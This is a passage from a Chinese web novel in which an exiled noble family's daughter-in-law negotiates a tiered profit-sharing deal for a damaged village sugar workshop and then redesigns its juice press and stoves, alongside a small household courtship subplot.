酸菜卖得很快,她要继续做酸菜,阿榕嫂那么多的芥菜,她得花钱多囤点! “老爷,你怎么回来了?” 柳素仪正在院子里绣手帕呢,看到忠勇侯沉着脸回来了,连忙问:“是不是出什么事了?” 柳素仪的绣花针瞬间扎到了扎尖。 柳素仪下意识的将帕子放下,生怕弄脏了帕子。 “糖坊今天被砸了。” 忠勇侯沉声说着,问:“七七呢?” “七七去买芥菜了。” 柳素仪担心的问:“糖坊出事,会不会连累七七?” 自家儿媳妇,可不能被连累了。 “不会。” 忠勇侯当了侯爷半辈子,以前征战沙场的时候,什么没见过? “程七七!” 一个激动的声音响起。 程七七正跟阿榕嫂有说有笑的挑着芥菜回来,还没到家呢,就被冷婆子吓了一跳。 “我同意你昨天的说法,你加入糖坊。” 冷婆子冲了过来,一把拉着程七七,一晚上都没睡的她,眼睛都熬的全是红血丝。 “我们现在就签契书。” 冷婆子迫不及待的说着,一边从怀里拿着早就准备好的契书递了上前:“签上你的名字,按个手印,糖坊以后就分你三成利润!” 契书上的字早就写好了,冷家三兄弟名字签了,手印都按好了。 这迫不及待的样子,让程七七升起了警惕,她没有接契书,而是道:“糖坊出了什么事情?” 昨天还嫌弃她狮子大开口,今天就恨不得她立刻签字画押了? “……” 冷婆子眼泪哗哗流,她悔啊! “只要你签了字,糖坊一切都会好起来的!” 冷婆子执着的看着她的手,恨不得抓着她的手签字画押。 “冷婆婆,你不说清楚,这字我不会签的。” 程七七不傻,天上不会掉馅饼,她快步走进院子里,看到公爹忠勇侯在,甚至赵黑越大人也在时,瞬间心中就有数了。 “大人,我们一家人先商量一下。” 忠勇侯拉着柳素仪进屋,同时,程七七也进了客厅。 林惠兰伸长着脖子,连绣花都没心思了。 孟静瑶和李氏见势不妙,也放下了针线篮子,守在一旁,心里惴惴不安。 “庄里正,你不是说靳家能帮忙吗?现在程七七连字都不签,怎么会帮?” 冷婆子看着庄里正质问着,她的心里已经慌的不行了。 老头子躺在床上,人事不知。 糖坊被打砸了干净,庆幸的是昨天那两锅糖成色很好,他们带回家研究了,否则,一旦这些糖露面,他们处境会更艰难! 孔家如今出事了,冷家人是真没想到,为了逼他们拿钱,是什么手段都使得出来。 是哥哥赵黑找上她,庄里正找上她,跟她说,可以找靳家人,或许有一线生机,现在,她怀疑,靳家一家子流放的犯人,有这么大的能耐吗? 第一卷 第64章 这个世子妃上道啊 “糖坊被砸,现在,正是我们出手的机会,你准备怎么跟糖坊的人谈分成,现在可以好好想一想。” 忠勇侯开口,看着程七七道:“我们商量好了,就跟他们谈。” “爹,你之前说糖坊的靠山孔家倒了,是出什么事了?真的不会连累我们?” 程七七不答反问。 “不会。” 忠勇侯笃定的说:“孔家是员外,是当地的乡绅,靠着倒卖高价粮食发家,早年坐拥良田千顷,从东城的林庄,到西城的枫里,看到的田地,那都是孔家的。” “据说,他家后厨的肉渣扔出来,野狗都能吃的油光发亮的。” “这些年,他们的胃口越来越大,去年水患,他伙同官府,倒卖霉米,吃死了人,只不过,被压了下去。” “今年夏天干旱之时,百姓正是无米可食之时,孔家恶意抬高粮价,岭南的夏天,死了很多的百姓。” 忠勇侯沉默了一番,才道:“之前的县令被判斩首,这个孔家……” “要被清算了!” 程七七心领神会,想到现任县令得了世子的救命之恩,她道:“爹,既然县令能保下糖坊,那,跟糖坊合作是必须的,不过,庄里正为何会来?” 忠勇侯看着程七七的目光中,透着赞赏,他道:“自然是想要分一杯羹,这些年,村里的百姓种甘蔗卖甘蔗,但大头的糖坊,被孔家拿捏着,被冷家把持着。” 程七七眼眸一闪,道:“爹,我有一个想法。” 院子里。 “妹子,你也别着急,糖坊出事,他们比你着急。” 赵黑冷着脸坐在石墩上,靳家来到村子里的时间不长,无论是卖酸菜粥,还是糖坊…… 靳家军,阎王世子,看来,瘦死的骆驼,比马大。 “冷家嫂子,靳家既应了,肯定会同意的。” 庄里正的眼眸晦暗,从送他们到这山脚下住下起,他一直在等着这个机会,如今,终于来了。 “怠慢三位了,请进来喝茶。” 忠勇侯站在门口相迎,高大的身材,常年在军营里,一身的气势,哪怕粗布麻衣,也显得格外与众不同。 程七七和柳素仪倒了茶水。 冷婆子迫不及待的说:“只要你们能救糖坊,我愿意让出三成利。” 一旦糖坊被孔家彻底毁了,那么,冷家守着个空糖坊,什么都没有。 “冷婆婆不着急,三成利的事情,我觉得,我们可以再商量。” 程七七的话一开口,冷婆子的脸庞瞬间就沉了下来:“糖坊的三成利不少了,你只是负责熬糖,其它的一切,都需要我们来做,你们这是趁人之危,还想要狮子大开口?” 冷婆子忍痛让出三成利,那已经是底线了! “冷婆婆误会了。” 程七七微笑着,一点都没有因为冷婆婆的生气而气恼着:“我呢,有一个想法,甘蔗是全村都种的,我想着,是不是能让村里人,也分一杯羹?” 冷婆子的脸都黑了,他们冷家忙活了一辈子,最多请一些村里人干活挣钱,怎么可能还让村里人……分一杯羹? 庄里正的眼睛亮了,这个世子妃上道啊! “世子妃。” 庄里正一开口,程七七打断道:“庄里正,我如今是一个犯人,当不起这个称呼,你叫我程七七就行。” “我先替村里的百姓,谢谢你。” 庄里正站起身,不管这事成不成的,他都感激。 他的话里没有半点的轻视,他道:“我们村子里若是真的也能加入到糖坊,那村子里的百姓,可都有福气咯。” 冷婆子的眼神如刀子一样扫了过去,他们冷家守了一辈子的糖坊,怎么他就想趁火打劫了? 想都别想! 庄里正忽视冷婆子的眼神。 “这事,你们可以回去考虑一下,关于糖坊的事情呢,我们也不会袖手旁观的。” 忠勇侯直接开口,糖坊的事情,或许是他们在村子里站稳脚跟的第一步。 冷家人和赵黑一块离开了。 庄里正眼睛打量着破旧的房子道:“你们这屋顶虽然修缮了,但,总归是简陋的木板房,等过两日,我请大家一块帮你们糊上石头屋,到那时,刮风下雨,都不怕漏风了。” “你们家女眷不少,马上就要过年了,大冬天的,可不能冻着了。” 庄里正拍了拍忠勇侯的肩膀,然后就高高兴兴的走了。 忠勇侯:“……” “呵,真要担心漏风,我们来的时候就会考虑。” 柳素仪一眼就看出来了庄里正打的什么主意,她侧目问:“七七,你真要带着全村人一块进糖坊?” “娘,虽然分的钱少了,但是,全村,都是糖坊的靠山,都是我们的靠山。” 程七七微笑着:“冷家的糖坊以为背靠着孔家,就可以万事无忧了,可,被打砸的时候,村里没有一个人出手维护!” “若是村里人人有份呢?” 程七七挑眉:“那么,村子将是铁板一块,那些想打砸糖坊的人,连糖坊的门都摸不着!” 靠山山倒,靠人人跑,只有将他们团结起来,以后她这糖坊,绝对稳如铁桶! “七七,你说的真对。” 柳素仪略思忖了一会,看着程七七的眼神里,满是赞赏道:“七七,你真是一点都不像是乡下长大的孩子!” “可能,走的地方多?” 程七七含糊的说着,岔开话题道:“我还得去给阿榕嫂付钱,又买了五百斤的芥菜。” 程七七一出来,跟阿榕嫂付完钱,得到了一院子的白菜,立刻就开始洗晾芥菜了。 高胜兰和靳晴谁都没问。 林惠兰想问不敢问。 程七七自然不会主动说,她眼角余光看到忠勇侯似乎在交待着重山什么,她的唇角微微扬起,不得不说,公爹还是挺不错的! 她安心干糖坊,到时候,银子还不哗哗到碗里来? 傍晚,靳砚之和靳礼之回来了,板车上,带了一口大缸,同样带着两个人的笑容,今天,又将酸菜卖了很多。 “嫂子,中午的时候,我听你的,拿着酸菜包去找粥铺卖,人家试了试酸菜,还真的愿意从我们这里进货了!” 靳砚之兴奋的说:“虽然只卖一小缸一百文钱,但,我相信嫂子做的酸菜这么好吃,他们以后肯定会一直找我们进货的!” 第一卷 第65章 你把我当傻子呢? “大哥,你是不是胡说的,他真有本事,帮我们?” 冷婆子回去的路上,一直不安,道:“靳家人也太过分了,三成利润还不够,还要让全村人加入糖坊,以后糖坊还是我们冷家的糖坊吗?” “大哥,我觉得我们还得想其它的法子。” 冷婆子的话音方落,赵黑打断道:“妹子,你要真有法子,今天糖坊会被砸吗?糖坊一天不干活,今天被砸掉的那么多的糖,你觉得得损失多少钱?” “……” 冷婆子瞬间就闭上了嘴了。 …… “娘,你看,我给兔兔摘了很多草!” 戴着一顶笠帽的靳岁安挎着小篮子,蹦蹦跳跳的就回来了! “兔兔吃了安安摘的草,肯定就能长得壮壮的!” 程七七看着女儿这模样,唇角都忍不住往上扬! “嗯。” 靳岁安喂完兔子,就往程七七的怀里扑。 “嘶。” 程七七倒吸了一口气,今天洗芥菜,做酸菜,一天都没直起身来,这会站直了,腰疼。 “娘,安安给你锤。” 靳岁安双手握成拳头,就往程七七腰上敲打着,小小的手,力气倒是不小,还会追问:“娘,这样好吗?” “好,已经很好了。” 程七七连忙抓住她的手停了下来,再锤下去,她这腰……怕是真要断了! “我们安安知道心疼娘了,娘奖励亲亲一个。” 程七七抱起靳岁安,直接就亲上了她的小脸蛋,眼角余光看到靳雪儿脸色含笑的进来,怀里鼓鼓的。 一见着她的时候,脸上的笑容瞬间敛了起来,板着脸,就像是谁欠了她钱一样。 靳雪儿快步拐进了她们的房间。 “娘,姑姑是不是摔跤了?” 靳岁安小声的说着。 “嗯?为什么这样说?” 程七七收回视线,好奇的看着女儿。 “姑姑头发上有稻草。”靳岁安小声的说着。 程七七的眼眸一深,刚刚她只是扫了一眼靳雪儿瞬间变脸的样子,倒是没有注意。 “可能是捡柴,碰到了吧。” 程七七随口就把女儿敷衍了,关于林惠兰母母女二人的事情,她也不想深究,只要不连累靳家人就行。 晚饭后,程七七欣赏着柳素仪她们几个人绣的十二花神帕,不得不说,跟小样上的画像一模一样,不,甚至比小样看着更好看! 洁白的丝绸手帕,柔软,手艺精湛的她们,把这花都像是绣活了一样,隐隐都能闻着花香了。 “七七,我们今天算过了,大家已经完成二套了,还有四套,肯定能完成的。” 柳素仪整理着绣好的帕子,每次绣好,那都是小心翼翼的保存。 “娘,你们真厉害。” 程七七夸赞着,又看向一旁的靳老夫人道:“奶奶,你纳的鞋子也舒服,我今天穿了一天,脚上穿着舒服极了,奶奶还在里面裹了棉花吧?” “又暖和,又舒服。” 程七七夸起人来,嘴上就像是沾了蜜糖一样甜。 “喜欢我就多做几双。”靳老夫人白日里就纳鞋子,还揽了做饭的活。 程七七起初还担心呢,谁知道,靳老夫人干起活来,还真是像模像样的,不说做的多好吃,至少,比柳素仪强! “奶奶,你可要保重身子。” 程七七提醒着,老夫人一路上身体多虚弱,她可都看在眼里。 “吃了这么多副药,早好了。” 靳老夫人乐呵呵的,慈眉善目的感觉。 程七七眼尖的看到重山回来了,她都迫不及待的询问了。 “少夫人,妥了!” 重山咧嘴笑着,道:“侯……老爷他们已经带着里正,带着冷家人过来了,老爷说,让您准备准备。” “这么快?” 程七七真没想到,居然这么快? 一会之后,靳家那破旧的屋子,就坐满了人。 庄里正带着几位年长的老者,冷家母子四人,将这老旧的屋子,挤的满满当当的。 更别说,院子里挤了很多不认识的村子里人。 “靳少夫人,不知……你打算怎么让全村人跟着糖坊一块合作?” 庄里正主动开口,他早就盼着这一天了。 糖坊这块大肥肉,咬上一口,那都能满嘴油! 全村就只有冷家是青砖大瓦房,足足五间房子,高高的围墙围住,一看就是村里的大户人家! 可惜,从前只能眼看着冷家挣钱,现在,他们村里的老百姓,也能有机会了? “三成利润太高了,我们糖坊一年也就挣个百八十两的,都分出去,那我们岂不是一年白干活了?” 冷婆子的话语生硬,得知孔家人全部被抓起来,再也无法威胁糖坊里,冷婆子想过翻脸不认人,但被大哥给劝住了。 可三成利……真的太高了! “冷婆婆说的对。” 程七七赞同的话一出,冷婆子眼睛亮了,立刻就开始吐苦水道:“我们收甘蔗,榨甘蔗,熬糖,还要去卖糖,哪一步出来,那都是不容易的啊。” “与就挣个辛苦钱。” 冷婆子大吐苦水:“大家瞧着风光,实际上,也,不挣钱啊!” 程七七似笑非笑的看着冷婆子道:“冷婆婆,真不挣钱,不如你把糖坊直接转给我,我给你一百两?” 冷婆子:“……” 她的声音瞬间顿住,连眼泪都不流了,她冷着脸看着她:“你们帮糖坊解决了大麻烦,你熬的糖也可以,要不,就分二成好了。” “一成。” 程七七开口道:“我只要一成利润。” 刚刚还嘈杂的屋子里,瞬间就寂静无声了。 就连忠勇侯和柳素仪看向程七七的目光中,都透着些许的焦急,她是不是说错了? “收甘蔗,榨甘蔗、熬糖确实很难,正好,分给村里人做,村里人加起来拿个三成利,不过分吧?” 程七七的话音落下,庄里正立刻道:“我们村里愿意干活,种的甘蔗,也愿意全部卖给糖坊。” 三成利,村里这么多人分,看着少,但,总比一分没有的好吧? “靳少夫人不愧是出身名门。”庄里正恭维着程七七,眼睛都笑的眯了起来。 冷婆子的眉一蹙,总觉得程七七的话还没说完。 果然,就听着程七七继续说:“冷婆婆说卖糖也很困难,不如,我们靳家揽下这卖糖的活,拿三成利,不过分吧?” “程七七,你把我当傻子呢?说好的只要一成利,你现在要四成!” 冷婆子的肺都快气炸了,照她这么一说,她岂不是跟村里人一样拿三成? 第一卷 第66章 争利 “冷家嫂子别动怒,靳少夫人这么分,肯定有她的道理的。” 庄里正出声开始打圆场。 冷婆子直接朝着庄里正喷了过去:“狗屁,村里人白拿三成利,你当然觉得她说的话有道理了!” “冷家嫂子,你这话说的,我们村子里也帮忙干活,不白拿钱的。” 庄里正理直气壮的说着,道:“再说了,明年我们多种甘蔗,不卖甘蔗到外面去,这糖熬的多了,钱不也就挣的多了?” “呵呵呵。” 冷婆子冷笑着,看着程七七道:“靳家是帮了糖坊一个大忙,但,拿这么多钱是不是不合适?程七七熬的糖再好,那也不值当四成利啊?” 冷婆子直白质问的话语,没有一星半点的婉转。 “你误会了!” 相比冷婆子的激动,程七七就显得格外冷静与镇定,她端坐在那里,哪怕是这老旧的屋子,也依旧给人一种高高在上的感觉。 “我说过,我只拿一成利!” 程七七笃定的说着。 “那剩下的三成利?你让靳家人去卖?那不就是白捡钱吗?” 冷婆子冷着脸,脸上的愤怒不减丝毫。 “冷婆婆,你们以前的糖,是不是就卖到府城,卖到县里?”程七七不答反问。 “当然。” 冷婆子挺直了脊背道:“我女儿嫁到府城,才得来这关系,否则,糖都卖不到府城。” “那一年,卖多少钱呢?” 程七七又问。 “你做生意挣多少钱,难道还会告诉我?” 冷婆子明显不想说。 “糖坊以后就要是大家的了,你不说,我们怎么知道以后能分多少钱?” 程七七回答的理直气壮。 “对啊,冷家嫂子,不然以后我们岂不是白干活了?” 庄里正立刻出声帮腔。 冷婆子扫了他一眼,这还是自家男人的表哥呢,看来,早就打糖坊的主意了。 冷婆子道:“八十两。” 冷婆子故意往少了说,白给别人分钱,她怎么想都心痛! “那就按一百两算。” 程七七道:“你一年,也就卖一百两,但我们,可以卖二百两,三百两,甚至五百两!” “不可能!” 冷婆子听着这话,就忍不住嘲讽的笑了:“程七七,你还年轻,以为做生意这么简单的吗?我们冷家卖了一辈子糖,一年就没超过一百两!” “如果是我那天熬出来的品质呢?” 程七七偏头,看向冷屿问:“糖带来了吗?” “带了。” 冷屿从怀里拿了出来,他每天都研究这糖是怎么熬的色泽这么好看的! “大家可以看一下。” 程七七起身,将她那天得到冷家的糖,放在一起对比,高下立见。 冷婆子的脸色一变,道:“我承认,你熬的糖好,但,熬的糖好,不一定卖得出去。” “我可以卖到洪都、卖到湖州、卖到更远的地方去,这么好的糖,到时候我们可以分成三个阶段,精品糖卖高价,中等的糖卖给那些小富之人,最普通的糖,卖给普通的老百姓。” “这样的话,不管是什么样的人,都可以买我们的糖。” 程七七说起话来,眉宇间透着自信,她看着在场的众人若有所思的模样,继续说:“同时,我还准备改进糖坊,同样的甘蔗,多出一锅糖,那就是多出一二百文钱。” “除了榨糖之外,糖坊还有几处可以改进,我看过了,归化里村的甘蔗种的不少,隔壁几个村,也种了甘蔗,糖坊的产能有限,很多甘蔗都要卖到外地。” “乡亲们累死累活的,也挣不了几个钱,可,我们糖坊改建之后,就可以将这批甘蔗全部吃下,到那时,乡亲们心往一处使,糖坊壮大,何愁挣不了钱?” 程七七微笑着,描绘着未来美好的蓝图,别说外面竖着耳朵偷听的乡亲们意动了,就是庄里正和冷婆子,都被吸引了。 “你说的比唱的好听,谁知道你能不能卖得出去?” 冷婆子的语气软和了几分,听着她改进糖坊的话,她想到了那天熬糖时,程七七的做法,确实比平时多出一锅糖。 “卖不出去,我就不拿这些银两。” 程七七可一点都不担心,她熬的糖,比京都的那些糖都要好,卖不出去? 那不存在的。 “冷家嫂子,靳少夫人说的没错,我们大家一起挣钱。” 庄里正道:“你这糖坊现在人不多,等我们村子里全部加入进来之后,糖也熬的多了,就能挣更多的钱了。” 冷婆子沉默着,走出去跟大哥赵黑商量了一番,才道:“白纸黑字,你得写下来,要是一年卖不出一百两银子,你就只拿一成利!” “行。” 程七七点头,就在冷婆子准备让人写契书时,程七七慢悠悠的开口了:“若是,我卖了不止一百两呢?” “那,不是皆大欢喜?大家都挣钱?” 冷婆子反问了一句。 程七七嘴角的笑容更灿烂了:“冷婆婆你这话说的,我卖不了一百两,就罚我只拿一成利,那么,我卖得比一百两多,是不是该拿到更多的银钱呢?” “运输、铺货、收尾款,这些风险可都是我靳家人担着呢。” 程七七的视线在众人身上一一扫过,一字一句道:“若我们卖了一百两往上,我要拿五成利!” “什么?” 冷婆子惊呼,手中的纸都飘到了地上。 “这……” 庄里正的脸色也难看了起来,这个程七七,是真的想做生意吗? “你们别误会,一百两之内,依旧按刚刚说的分,但一百两往上,我就得拿五成了。” 程七七简单的解释了一下,道:“比如我们卖了二百两银子,那么,多出来的这一百两,我拿五十两,剩下的,就你们自己分。” “你们也不亏,没有我们多卖糖,哪有这多赚的五十两银子呢?你们白捡五十两?难道不好吗?” 程七七的话一套一套的,别说庄里正了,就是冷婆子也听的晕晕乎乎的,好像是这么个理? 烛火跳动,小小的客厅里,挤的满当当的人,但,此时却是谁都没有说话。 “我们的目光可以放得长远些,多挣一百两,冷家和村里分五十两,多挣二百两,那冷家和村里可就是分一百两!” “若是多挣三百两、四百两呢?” 程七七清脆的声音再一次响起,每一个字都透着蛊惑。 第一卷 第67章 厉害在哪? 若是多挣三百两,冷家和村里,就能多分一百五十两! 若是多挣四百两,那就是二百两! 庄里正想:真要这么挣钱,程七七拿五成,他们村子里也能挣更多。 冷婆子也在心里快速的算了一笔账,真要像她说的这般,就算按新的分成,糖坊岂不是比她一家做的时候,更挣钱??? “靳少夫人若真能做到,那我们确实是占了便宜,不知这约,怎么立?” 庄里正身边一位年长的老人开口。 “我们怎么谈的,自然就怎么立。” 程七七抿唇微笑,道:“白纸黑字写下来,若我挣不到这么多钱,我也不好意思多拿钱!” 冷家、庄里正还有乡亲们都意动了,那可都是真金白银的钱啊! 在全村乡亲的见证下,在冷家,在庄里正,在几位德高望重的族老的见证下,这契约,便立上了! 白纸黑字,写的清清白白的,程七七负责改良糖坊,拿一成利,靳家负责售卖糖,挣到一百两,冷家三成,全村三成,靳家三成,程七七一成! 若是挣到一百两以上,那就是靳家五成,冷家和全村的村民,各五成! 至于庄里正跟村民们怎么分,那就是看庄里正的意思了,送走大家之后,刚刚还热闹的屋子里,瞬间就冷清了下来。 “嫂子,你也太厉害了吧!” 靳砚之崇拜的看着程七七,那炽热的眼神,写满了对程七七的崇拜。 林惠兰的手紧紧的攥了在一起,想嘲讽一句:又不是真挣到了这么多钱?有什么厉害的? 可,林惠兰死死的将这些话咽了回去,她看了一眼对程七七满意的忠勇侯。 再看看一脸崇拜的儿子,林惠兰低头,敛起了眼底的愤恨和不甘,一个乡下女子……凭什么成为众人吹捧的对象? 不对,靳家挣钱了,那以后,不都还是自家儿子的? 林惠兰的脑子一转,仿佛瞬间就通明了,程七七再努力,还不是给靳家挣钱? 忠勇侯都这个年纪了,肯定不能再生儿子了,到那时,这钱不就是唯一的儿子砚之的? “七七,你可真厉害。” 林惠兰想通之后,脸上带着笑容温温柔柔的夸赞着。 “……” 程七七只觉得她的笑太瘆人了,这林惠兰一直看她不顺眼,又在憋着什么坏水呢? “砚之,你觉得你嫂子厉害在哪里?” 忠勇侯的声音响起。 靳砚之的笑就顿了一下,随即认真的思索了起来道:“如果直接跟冷家和庄里正说,我们靳家要拿五成利,只怕冷家宁愿糖坊丢了都不干,根本不会听进嫂子的话。” “但,嫂子最开始说三成利,冷婆子虽然生气跑了,但,还是妥协了。” 靳砚之越理越清晰道:“等糖坊被砸,嫂子拿一成利,靳家拿三成利,嫂子提出改良糖坊,同时,靳家售卖到外地去,他们又妥协了!” “要签契书时,嫂子把冷婆子的话拿出来,卖的少了有罚,卖的多了有奖,一百两之后的五成利,听起来很多,但如果没有嫂子,那以前就只有一百两!” “可现在,有二百两,三百两甚至四百两在前头吊着,别说庄家和冷家了,我都心动!” 靳砚之以前是纨绔了一点,但,身后有靳家这座大靠山,朝堂之上有父亲,在外有长兄靳墨之征战沙场,替靳家争光,他根本不需要费半点心。 “嫂子,我,想问,真的能卖三百两,四百两吗?” 曾经的靳砚之,几百两于他而言,不多,随手就拿出来了。 但现在,靳砚之觉得四两都多! “你觉得呢?” 程七七不答反问,看着靳砚之的目光也透着些许的意外,这人纨绔是纨绔了一点,但不傻! “能!” 靳砚之脱口而出,随即道:“小小的酸菜,嫂子都能带着我们挣钱,这糖坊,肯定更加能挣钱!” “以后,听你嫂子的,好好干!” 忠勇侯虽然没夸,但看着靳砚之的眼神,明显比以前满意,他问:“七七,糖坊你怎么安排的?冷家经营糖坊多年,熬糖的技术……” “爹放心,等新糖坊建成后,榨汁的事情,就全让村民干,村民自以为掌握着改良压榨的方法,肯定不会告诉冷家人。” “至于冷家人,在熬糖的过程中,我也会把控关键技术,最重要的是,销售渠道。” 程七七早就想过了,要是冷家学会了熬糖之术,翻脸不认人怎么办? 那就控制销售渠道,同样的糖,没有本事,拿出去是被卖还是被骗,那就不好说了! “只要能挣到钱,没谁会蠢的不要吧?” 程七七道:“爹,糖坊既然我们也有份,是不是也可以想法子调人去糖坊?” “可以。” 忠勇侯点头道:“你放心,这些赵黑都说了,对了,明天大家都去建糖坊,庄里正说,等糖坊建好之后,就帮我们修缮房子!” 刚刚他送庄里正离开的时候,庄里正一口一个靳哥,叫的比亲兄弟还亲。 “修缮房子好,现在的木板房太旧了,漏风。” 程七七的眼睛瞬间就亮了,果然,靳家有价值了,庄里正瞬间都变得和善了,她道:“爹,你觉得这个庄里正能统领好村里人吗?不会到时候带着村里人使绊子吧?” “不会。” 忠勇侯笃定的说着:“附近的村落,都接收流放的犯人,只有庄里正不会虐待犯人,或许,他相信,有一天,我们这些犯人,也能翻身吧。” “归化里村杂姓不多,庄里正所在的庄家,人数最多,他绝对能管好村里人。” 忠勇侯有心教程七七,程七七有心想要学,自然是其乐融融的。 柳素仪也不懂这些事情,晚上就在做着缝缝补补的活,偶尔抬头,烛火跳动,两个人就像是父女一样,讨论的格外的认真。 如果,墨儿还在就好了…… 翌日,程七七将酸菜粥准备好了,早上跟着高胜兰、靳晴几个人一起包完酸菜包,吃过早饭,她就去糖坊干活了。 到了糖坊,程七七算是明白,为何冷婆子这么着急了,孔家人还真是……过分,糖坊被砸的七零八落的,铁锅都被砸了一个大洞。 榨汁的石碾都……碎了。 第一卷 第68章 谁放的橘子? “砸了正好做新的。” 程七七面无表情的说着,将她昨天晚上连夜画出来的草图拿了出来道:“冷婆婆,庄里正,你们来看,我决定将糖坊分成三个部份,第一部份囤放甘蔗,榨汁。” “就在最左侧建个大房间,这边开个门,方便送货,中间呢,再建熬糖大灶,最右边,就是独立开来,专门放熬好的糖!” “糖坊的院子,可以堆放甘蔗,堆放足够的柴火。” 程七七说的唾沫横飞的,这是她考虑到最好的格局了。 “你这灶是不是有问题?” 冷屿突然出声,盯着程七七的灶道:“你这三个灶连在一起,这怎么熬糖?还有,你这灶也太多了?足足有九个?” “我们的甘蔗汁,能一次搞出这么多糖来?” 冷屿看着那九个锅,看得他都懵了。 “三锅一灶,可是熬糖的秘诀,必须做。” 程七七意味深长的说着。 一整个,程七七都在负责糖坊新建的事情,村子里的人,昨天跟着庄里正一起又开了一个大会,大约是按户来算,每家出一个人来干活,所有人的甘蔗,必须卖给糖坊! 当然,价格依旧是那个价! 村里人,一想着明年糖坊挣的钱,大家都能分钱,因此,建新糖坊的时候,大家格外的卖力! 等到晚上的时候,程七七去糖坊转了一圈,就震惊的发现……新糖坊梁都上完了。 这么快的吗? 程七七晕晕乎乎的,听着庄里正道:“靳少夫人,你放心,糖坊再有个三日就能建成,到那时,就可以用新糖坊了。” “嗯。” 程七七微微点头,确实,过年前,还能卖一批糖。 “对了,靳少夫人,这糖坊,再用冷记糖坊,是不是不合适了?”庄里正笑眯眯的开口。 “确实,到时候大家商量一个。”程七七也觉得冷记糖坊不合适了。 “名字我们可以慢慢想,但是榨汁的方法,我们得改进。” 程七七眼尖,看到冷婆子已经指挥着人,想要重新搭建榨汁的石碾了,她立刻上前道:“冷婆婆,榨汁的石碾,碾出来的甘蔗,尚存甜味,我们可以用新法。” “你上回加清水的事情,就很好。” 冷屿开口,甘蔗渣没那么甜,说明,大部份的糖,都被榨出来了。 “不。” 程七七摇头,将她画出的简单压榨机道:“我们改碾为压,做一个固定的压榨槽。” “这压……还能比碾好?” 冷岛作为榨汁的老师傅了,当场提出了疑惑。 程七七干脆拿着树枝在地上画了起来,原理她是记得清楚的,但具体的细节,还需要讨论。 一连着三天,程七七从压榨汁,到三锅连灶……再到糖坊的布局,都是处处盯着的! 酸菜粥的生意,有靳礼之和靳砚之两个人去卖,这第一桶金,已经每天都能带来一千文左右的收入! 而糖坊,挣的钱,只会更多! 三锅连灶还好,这压榨槽,需要改的地方则是太多了,压板和压榨槽既要紧密贴合,又要能让榨出来的汁顺利的流出来,不卡! 在这一点上,程七七也是绞尽脑汁。 …… 靳砚之和靳礼之每天高高兴兴的去卖酸菜粥,从最开始让程七七起来熬粥,现在,程七七去糖坊了,熬粥的事情,就落在靳砚之和靳礼之身上了。 柳素仪四个人则是每天认认真真的绣帕子,就怕不能按时交货。 因着马上就要去糖坊干活了,靳家人不管男丁还是女眷,在管训台分完活之后,都显得格外的高兴。 靳雪儿的心情也很好,本来看到程七七能挣钱,她心情不好的,但经过亲娘一提醒,她瞬间就想开了! 程七七只有一个女儿,以后挣的再多的钱,那不都留给她亲哥的? 亲哥靳砚之,总不可能看着唯一的亲妹妹受苦吧? 这么一来,算不算程七七也给她挣钱? 于是,靳雪儿心情格外好,早早的下工之后,迫不及待的就出去捡蘑菇了。 “雪儿,你别走远了!” 林惠兰看到女儿开心离去的背影,心情都格外的好! “小雪儿~” 靳雪儿刚到地方捡蘑菇,一个身影就蹿了出来,靳雪儿飞快的朝着四周看去,不远处,靳晴儿和靳允儿正在埋头捡蘑菇呢! “你离我远点。” 靳雪儿往后退了一步,看着庄海潮的时候,眼中都透着一丝的惧怕。 这人……真的太不要脸了! “小雪儿,可是我想离你近一点,你这么香,要是能娶你做我的媳妇,那就是我这辈子最幸福的事了!” “你看,我特意摘了橘子过来给你吃,可甜了。” 庄海潮张口就来的话,把靳雪儿吓的满脸通红,转身就跑。 “呵~” 庄海潮靠着大树,咬着随手摘的橘子,朝着她的背影说:“橘子我就放在地上。” 话落,庄海潮拿着一堆橘子,就放在了地上。 “姐,你脸怎么了?” 靳晴儿疑惑的看着靳雪儿的脸。 “姑姑是不是发烧了?” 靳允一脸担心的说着:“我发烧的时候,脸就是红红的。” “没有,我这是热的。” 靳雪儿不自在的说着:“你们这里找到蘑菇了吗?好久都没吃蘑菇粥了。” “没有,我们去那边看看吧。” 靳晴儿见靳雪儿真没事,这才继续开始寻找。 “姑姑,你真的没发烧吗?”靳允好奇的看着靳雪儿。 “没有没有。” 靳雪儿不耐烦的应付着,她的眼神总不由的盯着刚刚庄海潮站的地方,橘子,她好久没吃了,要不要去拿呢? “姑姑,那边黄黄的是什么?” 靳允眼尖的看着刚刚靳雪儿站的地方,立刻跑了过去,小脸上满是惊喜:“姑姑,好多橘子啊!” “好香!” 靳允疯狂咽着口水,问:“这是谁的橘子啊?怎么全部放在这里了?” “姑姑,你刚刚看到是谁放的吗?” 靳允好奇的看向靳雪儿。 靳雪儿飞快的看向四周,刚刚还出现的庄海潮,似乎已经没人动静,她闻着橘子的香味,道:“不知道谁的!” 第一卷 第69章 哪来的土包子 “你们还找着橘子了?你们是在外头找的吗?” 林惠兰绣完帕子,看到靳雪儿带回来的橘子,好奇的询问着。 “我哪知道?靳允找到的。” 靳雪儿低垂着头,眼神闪躲着,她快步进了屋,胸膛里的心就像是要跳出来一样。 “我尝尝。” 林惠兰拿着橘子尝了一口酸中带甜的橘子,放在从前,她肯定丢了,现在么,林惠兰小口的品尝,她看着钻进屋子里的靳雪儿问:“雪儿,你不吃吗?” “我不想吃。” 靳雪儿的声音从屋子里传来,她捂着胸口道:“这个庄海潮是什么意思?” …… “成了!” “你这新的压榨汁机,比旧方法,多出了十五斤汁!” “十三斤汁,多熬个三斤糖,相当于一百多文钱呢!” “这一次多十五斤汁不多,但日积月累的,这数量,就不得了!” 新建糖坊的第一个工序,榨汁坊,经过改良的榨汁机,从石碾到压榨槽,起初,大家都是程七七是瞎折腾,但,折腾完之后,大家看着她的眼神都透着崇拜! 同时,他们的眼神火热,或许,他们糖坊以后真能卖二百两,三百两…… 那样,他们一个村子的里的人,每家每户,也能分到不少钱吧? “程夫人,我们的三连锅灶已经砌好了,你看看,行不行?” 原先还觉得程七七砌着九口锅,三个三连灶,是脑子有病,现在,他们觉得,或许,也跟榨汁槽一样,能够熬出更好的糖呢? 于是,先前推三阻四,四处拖延的人,这会都表现出了极大的兴趣,就连建设的速度,都变快了。 程七七笑而不语,这些人,还真是不见兔子不的撒鹰,没看到她干出活来,就瞎拖延? 果然,她选择先把压榨槽弄出来是对的,否则,按着他们这么拖延,只怕要耽误事。 程七七每日在糖坊里忙碌,温氏也因为分配在糖坊之后,靳三爷也跟着进了糖坊,开始学习如何榨汁了! 这次压榨导流槽,就是靳三爷埋头干出来的。 …… 